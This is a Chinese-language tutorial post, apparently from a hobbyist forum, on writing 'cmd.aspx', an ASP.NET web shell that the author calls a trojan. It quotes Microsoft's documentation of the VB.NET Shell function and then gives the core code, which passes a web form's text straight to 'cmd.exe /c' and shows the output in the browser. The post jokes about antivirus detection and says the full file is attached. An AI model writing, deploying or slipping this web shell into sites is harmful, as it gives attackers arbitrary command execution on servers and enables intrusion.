asp.net|執行 cmd.asp木馬大家一定用過吧。這是一個可以執行cmd命令的asp檔案(不過要被殺毒軟體追殺^_^)。其原理是用WSCRIPT.SHELL對象調用cmd.exe,然後把返回的資訊放到一個臨時檔案,再利用FSO把臨時檔案資訊讀出來顯示在瀏覽器裡。
呵呵,在asp.net環境下也是可以寫出類似程式的。不過可以不用那些對象。
VB.net裡有一個shell函數,可以執行外部程式。呵呵,就是利用它!現看看微軟的.net framework SDK的介紹:
【
Shell 函數
命名空間:Microsoft.VisualBasic
模組:Interaction
程式集:Microsoft Visual Basic .NET 運行庫(位於 Microsoft.VisualBasic.dll 中)
運行一個可執行程式,並且如果該程式仍然在運行,則返回一個包含該程式的進程 ID 的整數。
Public Function Shell( _
ByVal Pathname As String, _
Optional ByVal Style As AppWinStyle = AppWinStyle.MinimizedFocus, _
Optional ByVal Wait As Boolean = False, _
Optional ByVal Timeout As Integer = -1 _
) As Integer
參數
Pathname
必選項。字串。要執行的程式名以及任何需要的參數和命令列開關。Pathname 還可以包括磁碟機和目錄路徑或檔案夾。
Style
可選項。AppWinStyle。從 AppWinStyle 枚舉中選擇的值,該枚舉與要在其中運行程式的視窗樣式相對應。如果省略 Style,則 Shell 使用 AppWinStyle.MinimizedFocus,這將使程式以最小化啟動並具有焦點。
Style 參數可以有以下設定之一:
枚舉值 說明
AppWinStyle.Hide 隱藏視窗並為隱藏的視窗提供焦點。
AppWinStyle.NormalFocus 為視窗提供焦點,並以最近的大小和位置顯示視窗。
AppWinStyle.MinimizedFocus 為視窗提供焦點,並以表徵圖的形式顯示視窗。
AppWinStyle.MaximizedFocus 為視窗提供焦點,並以全屏方式顯示視窗。
AppWinStyle.NormalNoFocus 將視窗設定為最近的大小和位置。當前使用中視窗保持焦點。
AppWinStyle.MinimizedNoFocus 以表徵圖的形式顯示視窗。當前使用中視窗保持焦點。
Wait
可選項。Boolean。指示 Shell 函數是否應等待程式完成的值。如果省略 Wait,則 Shell 使用 False。
Timeout
可選項。Integer。Wait 為 True 時等待完成的毫秒數。如果省略 Timeout,則 Shell 使用 -1,表示沒有逾時,Shell 直到程式完成時才返回。因此,如果省略 Timeout 或將它設定為 -1,則 Shell 可能永遠不會將控制返回給程式。
】
嗯,你那麼帥,一定看得懂^_^
現在看核心代碼:
dim but as string
dim tempfile as string=server.MapPath(".") & "\" & "test.txt"
shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,-1)
dim myread as new streamreader(tempfile,encoding.default)
but=myread.readtoend
but=replace(but,"<","<")
but=replace(but,">",">")
result.text="<pre>" & but & "</pre>"
myread.close
if file.exists(tempfile) then
file.delete(tempfile)
end if
關鍵是shell("cmd.exe /c " & cmd.text & " > " & tempfile,,true,20000),這句話就是調用cmd.exe並且等待程式執行完畢。注意:要是你啟動並執行命令需要等待(如date),呵呵,那就慘了。那就暫時刪不掉臨時檔案test.txt……而且不能再執行命令了……不知道高手能不能解決這個問題,先謝過啦。
另:vb裡也有shell函數,但是我用在asp檔案裡卻不行,呵呵
順手說一哈,我的系統winXP,IIS5.1,.netframeworkSDK1.1
完整程式cmd.aspx附上